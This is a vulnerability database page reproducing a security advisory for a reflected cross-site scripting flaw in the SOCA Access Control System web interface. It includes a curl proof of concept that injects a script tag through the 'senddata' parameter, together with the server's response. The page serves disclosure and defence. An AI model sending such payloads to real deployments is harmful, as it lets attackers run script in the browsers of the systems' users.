Vulners
Lucene search
SOCA Access Control System 180612 Reflected Cross-Site Scripting
| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
 | CVE-2019-25270 | 8 Jan 202621:03 | – | circl |
 | SOCA Access Control System 跨站脚本漏洞 | 8 Jan 202600:00 | – | cnnvd |
 | CVE-2019-25270 | 7 Jan 202623:11 | – | cve |
 | CVE-2019-25270 SOCA Access Control System 180612 Reflected Cross-Site Scripting via logged_page.php | 7 Jan 202623:11 | – | cvelist |
 | CVE-2019-25270 | 8 Jan 202600:15 | – | nvd |
 | PT-2026-1674 | 7 Jan 202600:00 | – | ptsecurity |
 | CVE-2019-25270 SOCA Access Control System 180612 Reflected Cross-Site Scripting via logged_page.php | 7 Jan 202623:11 | – | vulnrichment |
<html><body><p>SOCA Access Control System 180612 Reflected Cross-Site Scripting
Vendor: SOCA Technology Co., Ltd
Product web page: http://www.socatech.com
Affected version: 180612, 170000 and 141007
Summary: The company's products include proximity and fingerprint access
control system, time and attendance, electric locks, card reader and writer,
keyless entry system and other 30 specialized products. All products are
attractively designed with advanced technology in accordance with users'
safety and convenience which also fitted international standard.
Desc: The application suffers from a XSS issue due to a failure to properly
sanitize user-supplied input to the 'senddata' POST parameter in the 'logged_page.php'
script. Attackers can exploit this weakness to execute arbitrary HTML and
script code in a user's browser session.
Tested on: Windows NT 6.1 build 7601 (Windows 7 Service Pack 1) i586
Windows NT 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
Apache/2.2.22 (Win32)
PHP/5.4.13
Firebird/InterBase DBMS
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2019-5518
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5518.php
20.04.2018
--
# curl -X POST "http://10.0.0.3/Login/logged-page.php" --data "senddata=<script>alert(1)</script>" -i
HTTP/1.1 200 OK
Date: Tue, 03 May 2018 22:46:32 GMT
Server: Apache/2.2.22 (Win32) PHP/5.4.13
X-Powered-By: PHP/5.4.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 532
Connection: close
Content-Type: text/html
<legend>
Login Info</legend>
Welecome <script>alert(1)</script>!<input onclick="logged_page_logout();" type="button" value="Logout"/>
<script type="text/javascript">
function logged_page_logout() {
$.ajax({
url: "../Login/Logout.php",
success: function(response) {
//Ajaxæååæ
//éè¼é é¢
location.reload();
},
error:function (xhr, ajaxOptions, thrownError) {
//é¯èª¤åæ
alert("Timeout");
}
});
}
</script>
</p></body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
13 May 2019 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 45.1
CVSS 3.16.1
EPSS0.0006
SSVC